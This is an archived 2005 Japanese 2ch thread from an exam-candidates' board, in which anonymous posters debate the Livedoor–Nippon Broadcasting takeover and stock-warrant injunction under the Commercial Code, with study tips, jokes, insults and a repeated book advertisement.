477 :一般に公正妥当と認められた名無しさん:05/02/22 09:56:45 ID:???
機械の体を手に入れるため、宇宙のかなた死兆星へ旅を続けるケンシロウ。
行く手に立ちはだかる999を撃退するために北斗神拳を繰り出すも、車掌の秘孔が見つからず…

って感じか。

478 :一般に公正妥当と認められた名無しさん:05/02/22 10:50:09 ID:???
ヤマトどこいったんだ?

479 :一般に公正妥当と認められた名無しさん:05/02/22 13:05:15 ID:3VLv2j+f
そこで波動方発射ですよ

480 :一般に公正妥当と認められた名無しさん:05/02/22 13:07:36 ID:???
ジェットストリームアタックだ!

481 :一般に公正妥当と認められた名無しさん:05/02/22 13:20:33 ID:???
>>478
続きを嫁。

…秘孔が見つからず狼狽。
そこに古代が現れ、ケンシロウに波動砲の極意を伝授する。
デスラー総統を三たび再起不能に陥れた波動砲。その習得は困難を極めたが、
北斗神拳の正当な包括承継者ケンシロウはその奥義をすぐに会得。
自らこれに改良を加えて覇怒禹拳を編み出すに至る。
(これが波動拳の由来となったことは言うまでもない〜民明書房〜)

482 :一般に公正妥当と認められた名無しさん:05/02/22 13:39:52 ID:???
マジかよ
波動包ぶっぱなす人間かよ


483 :一般に公正妥当と認められた名無しさん:05/02/22 16:07:19 ID:???
ケンシロウは自然人ではない。

484 :一般に公正妥当と認められた名無しさん:05/02/23 22:14:37 ID:0yb1aDti
太郎先生!
今回のフジの対抗策は実質現経営陣の支配維持を目的としたものであり
差し止めの対象になるのではないのですか?

485 :一般に公正妥当と認められた名無しさん:05/02/23 22:37:01 ID:???
今回は新株予約権だろ?

「著しく不公正な方法」の有名な判例は新株の発行だからなぁ。。。

どうなることやら。。。
事態を見守るしかありませんな。

コクドやニッポン放送。
経営学や商法の試験委員はどう絡めてくるのだろうか。
受験生としては悩ましいところだ。


486 :一般に公正妥当と認められた名無しさん:05/02/23 22:40:08 ID:0+bQmL03
>>485
予約権でも同じことじゃないの?
同じ効果を狙っているわけだから。

487 :一般に公正妥当と認められた名無しさん:05/02/23 22:43:23 ID:???
新株の発行と同じならばやはり著しく不公正な方法で差止請求できるだろうな。
どう見ても資金の調達が主要な目的とは思えんからな。

漏れが裁判官だったら本件はライブドアの請求を認めて差止とする。


488 :一般に公正妥当と認められた名無しさん:05/02/23 22:48:44 ID:???
でも、サンケイGRサイドも、裁判で勝てると確証したから
あんな自身満々な会見をしたんじゃないのかな?
政財界を巻き込みつつ、法曹会まで根回しできたんじゃないの。

489 :一般に公正妥当と認められた名無しさん:05/02/23 22:57:56 ID:???
「勝てる」だけじゃないだろ。和解とか、あるいは裁判とかで長引いても
そのうちライブドアの評判が悪化するとか等々。

限定合理性で矮小な漏れらのうかがい知れぬ深層で、漏れらの知恵の及ばぬ
領域で色んな戦略を練っていると思う。


490 :一般に公正妥当と認められた名無しさん:05/02/23 23:00:14 ID:???
うんこ

491 :一般に公正妥当と認められた名無しさん:05/02/23 23:01:36 ID:yJXFkXPi
abesage

492 :一般に公正妥当と認められた名無しさん:05/02/23 23:04:32 ID:???
ライブドア擁護してるのは売国奴のテロ朝だけじゃんw

493 :一般に公正妥当と認められた名無しさん:05/02/23 23:06:37 ID:???
みんながフジテレビを応援してたとしたら日本は世も末。


494 :一般に公正妥当と認められた名無しさん:05/02/23 23:15:21 ID:???
手持ちの基本書には
「違法または不公正な発行は、差止事由となるが、新株発行の場合と異なり、新株予約権の発行に資金調達の必要性は要求されないと解すべきである」と書いてある。

495 :一般に公正妥当と認められた名無しさん:05/02/23 23:27:09 ID:???
>>494
そうなんだ。
280条の10の抜け穴があるんだな。

496 :一般に公正妥当と認められた名無しさん:05/02/23 23:28:06 ID:???
どうなるホリエモン・ニッポン放送3
http://school4.2ch.net/test/read.cgi/shihou/1109151762/


497 :一般に公正妥当と認められた名無しさん:05/02/23 23:31:22 ID:???
高崎競馬や笠松競馬の関係者にも呆れられたライブドアに経営はまかせられないなw

498 :一般に公正妥当と認められた名無しさん:05/02/23 23:31:42 ID:???
学説ごときだろうが。

499 :一般に公正妥当と認められた名無しさん:05/02/23 23:31:57 ID:???
>>464
創価!!

だから新株の発行じゃなくて新株予約権の発行をニッポン放送は選択したんだ!!!

あ〜スッキリ!
1ヶ月の便秘が一気に解消された気分だ。


500 :一般に公正妥当と認められた名無しさん:05/02/23 23:33:10 ID:0+VEFDzc

無関係な俺が500get!!

501 :一般に公正妥当と認められた名無しさん:05/02/23 23:37:22 ID:???
いまどき500getなんて流行らないよ。


502 :一般に公正妥当と認められた名無しさん:05/02/24 02:00:22 ID:???
恥ずかしい奴だな
http://news19.2ch.net/test/read.cgi/newsplus/1109168772/114n

503 :一般に公正妥当と認められた名無しさん:05/02/24 05:15:35 ID:???
差止なんて無理無理。
事件は答案の上で起きてるんじゃない、現場で起きてるんだ。




504 :一般に公正妥当と認められた名無しさん:05/02/24 05:16:30 ID:???
仮処分は認められるんだろうか?

505 :一般に公正妥当と認められた名無しさん:05/02/24 06:49:52 ID:???
むりだな

506 :一般に公正妥当と認められた名無しさん:05/02/24 08:05:52 ID:???
仮処分が認められないなら、著しく不公正な方法での新株発行が認められることになって、
これまでの判例とかが覆されるんじゃねぇか?

507 :一般に公正妥当と認められた名無しさん:05/02/24 08:43:48 ID:???
「著しく不公正な方法にあたらない」とされれば問題ない

508 :一般に公正妥当と認められた名無しさん:05/02/24 12:40:58 ID:???
資金調達以外の目的が明白なのに、
あれだけ巨額の資本が流れ込むのが
著しく不公正な方法にあたらないことなんてあり得るのだろうか。

日経によると敵対的買収を防止する為の法案がいくつか国会に提出されるようだけどな。
結局過度の経営者支配は全く改まりそうに無いね。

509 :一般に公正妥当と認められた名無しさん:05/02/24 14:59:06 ID:???
「著しく不公正な方法にあたる」解答用紙上じゃ
実務とは違うってことか

510 :一般に公正妥当と認められた名無しさん:05/02/24 16:47:22 ID:???
商法の判例はクソということが証明された

511 :一般に公正妥当と認められた名無しさん:05/02/24 17:50:31 ID:???
ライブドアが世論調査を改竄
http://www.zakzak.co.jp/top/2005_02/t2005022427.html

512 :一般に公正妥当と認められた名無しさん:05/02/24 19:48:39 ID:???
「著しく不公正な方法」を突っ込むのが面倒だからこんな風に考えてみた。

ライブドアによる時間外取引の法の穴を利用した買収は、時間内取引を前提とした
公正な資本市場における株主の利益を害している(問題提起)。
現行法の不備をつかれ上記行為を差し止めることが困難な現状で、自社一般株主の
利益保護のため経営陣が買収対抗策を打ち出すことは正当である(必要性)。
また280条の10は新株発行について規定したものであり新株予約権については
条文上禁止されていない(許容性)。
よってOK。

513 :一般に公正妥当と認められた名無しさん:05/02/24 19:51:01 ID:???
280ノ10は準用されてるよ


514 :一般に公正妥当と認められた名無しさん:05/02/24 20:00:22 ID:???
>>512
条文くらい読めよ…

515 :一般に公正妥当と認められた名無しさん:05/02/24 20:04:01 ID:???
>>513
あ、そうなんだw 読み込みが足りないなあw
やっぱ楽しちゃいけないのね。
じゃあ条文は突っ込まずに、目的の正当性を訴えて
「著しく不公正な方法」にあたらないでいくしかないか。

280の20の準用が多かったから読み飛ばしたか(参考条文集使ってた)。

516 :一般に公正妥当と認められた名無しさん:05/02/24 20:04:54 ID:???
あほさにワロタ
予約権発行をさしどめるための「著しく不公正な方法」は何になるのか新しい判例のおでましか

517 :一般に公正妥当と認められた名無しさん:05/02/24 20:07:35 ID:???
普通に考えれば差止認められるでしょ??阿部ちゃん教えて!!

518 :一般に公正妥当と認められた名無しさん:05/02/24 20:45:17 ID:???
そもそも今度の新株予約権発行が認められるなら
ポイズンピルのための法改正なんて要らんだろ

519 :一般に公正妥当と認められた名無しさん:05/02/24 22:34:01 ID:???
今回はライブドアのやり方も違法でないとしても必ずしもフェアとは言えないからな。
ホリエモンの一連の行動も吟味する必要がある。


520 :一般に公正妥当と認められた名無しさん:05/02/24 22:38:17 ID:???
>>519
フェアとか何とかくだらねえこと言ってんじゃねえよ。低脳!

521 :一般に公正妥当と認められた名無しさん:05/02/24 22:59:27 ID:???
ライブドアが通常の方法でTOBしてフジテレビにも取得状況が分かる
ようにしていたらフジテレビも早期に別の策を講ずることもできたであろう。

ホリエモンは陰で買付を行ったためそれを許さなかった。
明らかにフェアじゃない。
フジテレビにも一理はある。


522 :一般に公正妥当と認められた名無しさん:05/02/24 23:03:17 ID:???
株式の譲渡は自由であるのが原則である(204項本文)
かかる宣言的担保では株主の投下資本回収は十分でないため
商法は動的安全の保護を認める。
また時間外取引を直接禁止する明文は存在しない。
よってライブドア時間外取引は有効である。
以上より日本放送の新株予約権発行は授権資本制度を採用した商法の趣旨に反するため
差止め請求が認められる(280の10条)。
そして日本放送取締役は株主利潤最大化の原則に反する行為が見られ
善管注意義務・忠実義務(254条3項、254条の3)違反を形成し株主は
代表訴訟(267持ち株用件よりライブドアは行えない)、
解任権(257条)を行使できる。
また第三者からの損害賠償請求も妨げない(266の3条)


523 :一般に公正妥当と認められた名無しさん:05/02/24 23:06:37 ID:???
>>521
法制の欠陥であり、
何も違法性はない。
フェアとかそういう問題ではない。
フジはそういう動きの可能性も考慮して
TOBをすべきだった。
他者を非難する前に自らの間抜け振りを反省すべきではないか。
放送の公共性とか何とか聞いてあきれるよwww

524 :一般に公正妥当と認められた名無しさん:05/02/24 23:07:34 ID:???
>>522
25/70

525 :一般に公正妥当と認められた名無しさん:05/02/24 23:07:36 ID:???
「以上より」って論理構成がめちゃくちゃだろ

526 :一般に公正妥当と認められた名無しさん:05/02/24 23:15:42 ID:???
>>523
証券取引法は公正な証券取引を担保するものである。
フェアであることは証取法のキモ。無関係どころかど真ん中。

「著しく不公正な方法による発行」が具体的な法令・定款違反でないにも
関わらず違法性を帯びるように、不公正な証券取引もまた違法性を帯びると
裁判所が判断しても全くおかしくない。


527 :一般に公正妥当と認められた名無しさん:05/02/24 23:17:02 ID:???
疲れてんのにながんがとかきこんでられるかどあほw
わかっとるわ〜

528 :一般に公正妥当と認められた名無しさん:05/02/25 01:10:21 ID:???
>>526
事前に金融庁のお墨付きを貰っていると聞いたが?

529 :一般に公正妥当と認められた名無しさん:05/02/25 01:29:04 ID:???
そうなの?
でも、金融庁のお墨付きをもらってたら不公正の謗りを免れるというのも
考えにくい。

一般投資家から見ればライブドアの行動は得体の知れない暗躍であり、
投資マインドを冷え込ませる行為をしたというのことには変わりがない
ような希ガス。


530 :一般に公正妥当と認められた名無しさん:05/02/25 01:33:26 ID:???
>>529
もらっているといってたよ。

531 :一般に公正妥当と認められた名無しさん:05/02/25 01:40:10 ID:???
ライブドアは確かTostNetを利用して3割超の株式を一気に取得することに問題はないかの確認を金融庁にしたはず。
この件がグレーと言われているのは、売り手とライブドアが事前に示しあわせていたのではないかと思われている点。
実質的に相対取引なら証取法違反の恐れがある。
だから堀江は「奇跡的に取得できた」と言い張っているし、証拠もないことだからね。

532 :一般に公正妥当と認められた名無しさん:05/02/25 01:54:59 ID:???
結局フジとライブは「どっちもどっち」ということか。



533 :一般に公正妥当と認められた名無しさん:05/02/25 02:09:26 ID:???
>>530
でも堀江は内容をボカして言ってるよね。
たぶん重要な事実を隠して言質だけ取ったんでしょ。


534 :一般に公正妥当と認められた名無しさん:05/02/25 15:54:55 ID:???


535 :一般に公正妥当と認められた名無しさん:05/02/25 16:09:46 ID:???
本日の日経新聞より。

(過去の新株発行差し止めの前例のあと)
 ただ、発行目的が会社支配権の維持にあったとしても、調達資金で企業価値が
高まることを立証できれば、仮処分を却下するケースも想定されそうだ。
昨年のベルシステム24を巡る同社経営陣と当時の親会社CSKの支配権の争奪戦
では、裁判所は経営陣に支配権維持の意思があると認めながら、一応の合理性が
あるとして増資差し止めの判断を示さなかった。
 フジ側はニッポン放送がフジの子会社となることで、企業価値が高まると主張している。


536 :一般に公正妥当と認められた名無しさん:05/02/25 16:16:14 ID:???
金融庁には匿名で事前確認した、と言ってたな
でも金融庁側の答えは「(事前確認の有無について)確認できません(=わかりません)」だったはず

537 :一般に公正妥当と認められた名無しさん:05/02/25 23:59:02 ID:???
市場の観測ではライブドア優勢か。


538 :一般に公正妥当と認められた名無しさん:05/02/26 11:45:09 ID:???
あべちゃんはこの件についてなんかコメントしてる?

539 :一般に公正妥当と認められた名無しさん:05/02/27 20:03:08 ID:???
ホリエモンがフジTOBに応じる構えをチラつかせたな。
所詮チキンかw


540 :斉藤のみぎうで:05/03/01 00:02:38 ID:???
斉藤博明著「ビジネスの論理」通称「ビジ論」はすでにTAC生のバイブルとなりつつある。
自習室で学習する多くの受験生の傍らには、この赤い表紙の本が備えおかれている。
休憩室での話題は、「ビジ論」についての議論で持ちきりだ。
また、受講生に対しどのように指導すればいいのか、という講師なら誰もが持つ疑問にも、
この本は適切なアドバイスを与えてくれる。実際、講義の合間には講師たちが熱心にこの本に
見入っている。
もはや、斉藤氏はTACに関わるすべての者にとって、神のような存在なのだ。

「私はいつも限界に向き合い、格闘し、限界を超えて生きてきた。」
資格の学校TACの学院長・斉藤博明氏が自らの人生を振り返り、自身の原点と経営戦略を語る珠玉の一冊。

541 :一般に公正妥当と認められた名無しさん:05/03/04 01:53:56 ID:???
5,950円でs使できるのは1ヶ月後の1週間だけ「新株予約権行使の際の払込金額」が5,950円なのが、
これに対して直前の株価が6,800 円なのに、それより12.5%も安く発行できる・・・この点が世間では有利発行が問題ですよね。

 ところで今回の新株予約権の条件を読むと、「行使価額の修正」で、平成17 年4月1日以降、
毎週月曜日に、前週金曜日までの5 連続取引日の終値の平均値に行使価格が修正されるわれるのが4月1日まで1週間しかありません。
結局5,950円で行使できるのは1週間だけです。

 そしてフジテレビはこの1週間に3,000億円程もの大金を全部払い込んだりしないでしょうし、B/Sにはそんな現金はございません。

 仮にフジが新株予約権を実行すると、1株あたり(新株予約権既払額(いわゆるオプションのプレミア)は
336円+権利行使価格5950円)/直前株価6800=.924 で割引率は7.6%となる。

通常10%程度のディスカウントの増資なら判例や実務でも有利発行とはみなされてないようですし、
今回のこのケースですも通常の想定される範囲の金額とみなされるでしょう。

よって計算上7.6%のディスカウントしかなく、更に1ヶ月先の増資は有利発行と言えるでしょうか?
拙者としては、今回の新株予約権は、有利発行と言えず、条件では問題なしといえるでしょう。
 ただし、フジという特定の株主に優先して新株予約権を引き受けさせることの方が、よっぽど問題ありですよね。
これについて新株予約権の差止仮処分請求の最大の争点になるんじゃないでしょうか。優秀なエリートによる司法判断がどうでるか期待したいですね。

また、「日本放送の新株予約権を発行し、フジテレビが増資に応じると株価が下落して一般投資家が被害を受けるといっています。」
とのご指摘については、株価は相場参加者による心理によって決まるので、これ以上の議論の余地はないですね。
完璧に株の動向を分析できる人は、いませんから・・・・いくらテクニカル的・ファンダメンタル的に分析しても限界がありますよね。

 それより、希薄化による問題は、日本放送以上にライブドアの転換社債発行条件のほうが、よっぽど問題ですよ。
詳しくは説明を省きますが、ライブドアの既存株主の方が、希薄化による問題が深刻ですよ。皆さんも一度自分で調べてみてください。



542 :一般に公正妥当と認められた名無しさん:05/03/04 02:33:43 ID:KXnPd3Gf
うーむ、ということは問題は企業価値か。

543 :一般に公正妥当と認められた名無しさん:05/03/05 00:35:50 ID:???

企業価値は負債と株式の構成割合によらず一定です。


544 :一般に公正妥当と認められた名無しさん:05/03/05 20:09:51 ID:???
MM理論

545 :一般に公正妥当と認められた名無しさん:05/03/06 02:16:42 ID:???
か?

546 :一般に公正妥当と認められた名無しさん:05/03/06 20:01:31 ID:???
かの有名な第1命題をおまえは知らんのか。


547 :一般に公正妥当と認められた名無しさん:05/03/06 20:52:23 ID:???
そんなんでないよ

548 :一般に公正妥当と認められた名無しさん:05/03/06 21:06:15 ID:???
>>547
2chでそんなんでないよと言われて誰が信じるんだか


549 :一般に公正妥当と認められた名無しさん:05/03/06 23:32:35 ID:???
じゃあ出るよ

550 :一般に公正妥当と認められた名無しさん:05/03/06 23:33:55 ID:???
>>549
2chで出るよと言われて誰が信じるんだか


551 :一般に公正妥当と認められた名無しさん:05/03/07 05:21:45 ID:Tcp4o/Bu
もじりあーにみらーの定理

社債で調達しようと、株式で調達しようと企業価値は変わらないという
定理。ただし、資本市場で完璧に裁定が働くなど前提がいる上、常識で
考えてもあきらかに現実に適応していない。

リーマンからジャンクボンドで調達した800億と株式刷って集めた800億
の評価が同じわけないってはなし

詳しくは武隈のミクロとかに簡潔に書いてあるんで参照して

552 :一般に公正妥当と認められた名無しさん:05/03/07 05:27:11 ID:Tcp4o/Bu
ところで資本が充当されるかぎり
新株発行のよって「希薄化」なんかおこらないよ。
議決権に関してはたしかに影響がでるけど、大多数の無個性、経営に興味も能力もない
株主wには興味ないでしょう。
われわれ貧乏人からしたらどうでもいい話ですね


553 :一般に公正妥当と認められた名無しさん:05/03/07 10:06:08 ID:???
第三者割当て増資によって既存株主の持株比率が低下することを「希薄化」
というのでは?

554 :一般に公正妥当と認められた名無しさん:05/03/08 23:50:25 ID:???
新株予約権とオプション取引の違いを教えてくだせえ。


555 :一般に公正妥当と認められた名無しさん:05/03/09 13:04:13 ID:w+pDBdcf
司法も受かってないのに裁判官や試験委員に文句言うなよ
阿部&公文

556 :一般に公正妥当と認められた名無しさん:05/03/09 13:07:11 ID:qKUPZsdo
阿部弁護士じゃないの?

557 :一般に公正妥当と認められた名無しさん:05/03/09 13:28:47 ID:???
>>555
会計士試験も受かってないのに講師に(略

558 :一般に公正妥当と認められた名無しさん:05/03/09 19:18:28 ID:???
>>555
阿部タソは論文合格、口述落ち。公文は論文落ちの司法崩れ。

559 :一般に公正妥当と認められた名無しさん:05/03/09 19:20:08 ID:???
口述落ち??嘘クセーそれで何で弁護士にならないんだよ。

560 :一般に公正妥当と認められた名無しさん:05/03/09 19:28:35 ID:???
>>559
2回落ちて戦意喪失したんじゃねえの?

561 :一般に公正妥当と認められた名無しさん:05/03/09 19:29:44 ID:???
論文通るのに??おかしいだろう。

562 :一般に公正妥当と認められた名無しさん:05/03/09 19:31:55 ID:???
試験委員にやーさんと間違われたんだろう

563 :一般に公正妥当と認められた名無しさん:05/03/09 19:33:47 ID:???
>>553
すまんこ 勘違いしてた

564 :一般に公正妥当と認められた名無しさん:05/03/10 23:35:25 ID:???
仮処分マダ〜?


565 :一般に公正妥当と認められた名無しさん:05/03/12 00:51:31 ID:???
結構読める自分に驚いた。
やっぱ商法の勉強役に立ってるんだな♪

http://it.nikkei.co.jp/it/newssp/fuji_vs_livedoor.cfm?i=2005031107674ra


566 :一般に公正妥当と認められた名無しさん:05/03/12 02:40:07 ID:???
ちょっと商法かじったくらいで裁判官になったつもりかよ?

567 :一般に公正妥当と認められた名無しさん:05/03/12 02:55:40 ID:???
       (●)(●)(●)(●))(llll)(●)(●)(●))(●)(●)
 \__ (●)(●)●)●)(●))(●)(●)(●)(●)(●))(●)__/
      (●)(●)(●)(●))(●)(●)(●),,r==、(●)(●)(●)
   __(●)(●)((●)((●))(●)(●)(●)ii● l(●)(●)(●)_
 /  (●)(●)(●)(●)(●))(●)(●)(●゙'‐='"(●)(●)(●)   \
   _ (●)(●)(●)(●)(●)(●)(●)(●)))(●)(●)(●)(●)_
 /  (●)(●)(●)(●)(●))(●)(◎)(●))(●)(●)(●)(●) \
    _(●)(●,,r==、(●))(●)(◎)(●))(●)(●)(●)(●)_
      (●)((ii ,●l)(●))(●)(●)(●)(●)(●)(●)(●)
   __(●)(●゙'‐='"((●))(●)(●)(●))(●)(●)(●)(●)__
 /  (●)(●)(●)(●)(●))(●)(●,,r==、(●)(●)(●)(●)   \
   _ (●)(●)(●)(●)(●)(●)(●)ii ● ))(●)(●)(●)(●)_
 /  (●)(●)(丿"~"i i(●)(●)(●)゙'‐='"(●)(●)(●)(●)  \
    _(●)(●)(",, )(X)ヽヽ(●))(●)(●))(●)(●)(●)(●)_
      (●)(●)\ ヽXヽヽ(●))(●)(●)(≡)(≡)(●)(●)
   __(●)(●)((●\ヽ Xヽヽ(●)((●))(●)(●)(ミ)(●)__
 /  (●)(●),,r==、)( \,",",ソ●(●))(●),,r==、●)(●)   \
   _ (●)(●)ii ,●l)(●)(●)(●)(●)))(●ii● ;)(●)(●)_
 /  (●)(●)゙'‐='"(●)(●))(●)(●)(●))((゙'‐='"(●)(●)  \
    _(●)(●)●)(●)(●))(●)(●)(●))(●)(●)(●)(●)_
  /  (l●)(●)(●),,r==、)(●)(●)(●)(,,r==、)(●)(●l;)  \
  | .  (l;●)(●)(● ,● ))(●))(●)(●)ii ● l)(●)(●)    |
  |  . (0●)(●)(●゙'‐='"●))(●)(●)(゙'‐='"(●))(●)O)
  ,;;    (:●)●)(●)(●)(●)(●)(●)(●))(●))(●;)
       (о●)(●))(●)(●))(●)(●)(●)(●)●》)
         ( ;●ξ巛:)( ;●ξ(●)(●,--'""ヽ●:( ;)
           巛巛ミ巛ミミミ//二二ノ""^ソ彡
             巛((ミミ((巛ヘ`\┼┼┼ ,!ヽ < あほ
                 巛王 \"ヽ-;:,,,,,,ノ /'
                       \,,,,,__,,,ノ




568 :一般に公正妥当と認められた名無しさん:05/03/12 05:55:45 ID:???
>>565=ヒロ

569 :一般に公正妥当と認められた名無しさん:05/03/12 06:59:17 ID:???
だれ?

570 :一般に公正妥当と認められた名無しさん:05/03/12 09:30:30 ID:???
さあ。
勝手に脳内で楽しんでるだけだろ。
相手にするな。


571 :一般に公正妥当と認められた名無しさん:05/03/14 15:36:24 ID:???
>>553
普通は希釈化って持分価値の方をささない?
持株比率は低下って言う方が漏れはしっくり来る。

572 :一般に公正妥当と認められた名無しさん:05/03/16 08:06:30 ID:???
勝手にしれ

573 :一般に公正妥当と認められた名無しさん:05/03/17 00:29:43 ID:???
硫酸を希釈化する際には決して硫酸に水を加える方法によってはならない。


574 :一般に公正妥当と認められた名無しさん:05/03/19 09:46:45 ID:???
商法♪商法♪しょほしょほ商法♪
あ・さ・か・らしょうほう〜〜〜♪

憲法♪民法♪刑法♪商法♪民訴♪
け・い・じ・そ・しょうほう〜〜〜♪


575 :一般に公正妥当と認められた名無しさん:05/03/19 09:50:04 ID:91pCNmxv

面白くもなんとも無い。

576 :一般に公正妥当と認められた名無しさん:05/03/19 12:48:25 ID:DjyuMTCj
頭狂ってんだからほっとけ

577 :一般に公正妥当と認められた名無しさん:05/03/19 18:00:02 ID:???
今どきの若者は尊師マーチを知ってるのか!?

578 :一般に公正妥当と認められた名無しさん:05/03/20 00:30:49 ID:???
今試験受けてる年代こそ当時小学生だったモロ直撃世代だろ

579 :一般に公正妥当と認められた名無しさん:05/03/20 00:56:23 ID:???

漏れは当時大学生だったがショッキングな出来事だったな。


580 :一般に公正妥当と認められた名無しさん:05/03/20 04:46:43 ID:???
>>579
おっさん発見

581 :一般に公正妥当と認められた名無しさん:05/03/20 12:15:29 ID:???
10年前の今日、俺は高校さぼって緊急報道特番見てたな。

582 :一般に公正妥当と認められた名無しさん:05/03/20 21:32:16 ID:???
911のときは会社さぼったな。


583 :斉藤のみぎうで:2005/03/22(火) 19:00:14 ID:???
斉藤博明著「ビジネスの論理」通称「ビジ論」はすでにTAC生のバイブルとなりつつある。
自習室で学習する多くの受験生の傍らには、この赤い表紙の本が備えおかれている。
休憩室での話題は、「ビジ論」についての議論で持ちきりだ。
また、受講生に対しどのように指導すればいいのか、という講師なら誰もが持つ疑問にも、
この本は適切なアドバイスを与えてくれる。実際、講義の合間には講師たちが熱心にこの本に
見入っている。
もはや、斉藤氏はTACに関わるすべての者にとって、神のような存在なのだ。

「私はいつも限界に向き合い、格闘し、限界を超えて生きてきた。」
資格の学校TACの学院長・斉藤博明氏が自らの人生を振り返り、自身の原点と経営戦略を語る珠玉の一冊。

584 :一般に公正妥当と認められた名無しさん:2005/03/23(水) 00:17:34 ID:???
弥永教授が国会に呼ばれてたね

585 :一般に公正妥当と認められた名無しさん:2005/03/30(水) 02:29:06 ID:???
本会議?
委員会や審議会レベルなら国立の教授はちょくちょく呼ばれてるよ。

586 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 23:29:49 ID:???
商法は入門期の頃から比較的得意で、直前期には1問80点満点を記録するなど、得点源としていた科目です。
そんなwebmasterが商法で意識していたのは以下の3点です。

まず、商法の論文対策というのは典型問題に対する解答例というのがあってそれを覚えていくスタイルがオーソドックスだと思いますが、
それを丸々1つとして覚えるのではなく、個々のパーツに分解してバラバラに覚えるのがいいと思います。株主平等原則で言えば、
定義・根拠・内容・機能・例外とかいろいろありますが、それをパーツごとに覚えるわけです。そして、それを全部の問題でやります。
そうしたら後は、答練などで問題に対して覚えたパーツの中から必要なものだけを取り出して、問に忠実に答える練習を積んでいくのです。
典型的な解答例を丸暗記するだけだと、問題に対していらないことまで書いてしまったり、逆に書くべきことが抜けたりしてしまうので、
これを防いで問題に的確に答えられるようにするためです。答案作成の面ではこれが大事。

次に理論では原文重視の勉強をしていましたが、商法で言えば原文=条文でしょう。短答パワーアップでもいいのでとにか
く条文を素読しておくのが大事。設立とか新株発行、株式交換、分割、合併あたりの条文が使いこなせるかどうかでだいたい
どれくらい条文に親しめているか判断できると思います。本当に条文は大事です。なぜというと、例えば、簡単な例だと、
役会決議を経ずに代取が総会を召集した場合の効力はどうか?という問題でも書き始めが条文を出せば簡単だからです。

総会を招集するには役会で決めなければならない(230条あたり?)→役会経てない→効力が問題になる

みたいに持っていきやすい。だから本当に条文は大事です。あの弥永教授も条文を重視すべきとおっしゃっていったのを読んで
確信を持ちました。商法ではある意味、条文=解答を参照して答案を作成することが認められているのです。
条文を丸写しすれば、定義になったり、条文から記憶を引っ張り出すことも可能でしょう。条文を重視していたおかげで、
本試験では配当可能利益への影響の問題で、33条などをあげることが出来たと思っています。

あとは視点をもつことです。例えば、取締役と監査役の比較。比較すべき事項がやたら多くて、ただの暗記だときついです。
そこで一つ大きな視点をもって見てみます。



取締役は会社との利害対立がおきやすいから、その防止が重要
監査役は利害衝突の危険はそんなにないから、独任性の確保が重要

こういう視点を持っていれば、あとは比較すべき事項の頭文字でもとって暗記して、問題に応じて書くべきことだけ書けばいい。

この3点を意識するだけでも、商法はかなり伸びます。

587 :一般に公正妥当と認められた名無しさん:2005/06/17(金) 22:45:17 ID:???
あべちゃんも会社法改正でいよいよピンチかw

588 :一般に公正妥当と認められた名無しさん:2005/06/18(土) 23:44:26 ID:???
くわしく。


589 :一般に公正妥当と認められた名無しさん:2005/06/24(金) 00:24:08 ID:SPUYXIl7
abe

123 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)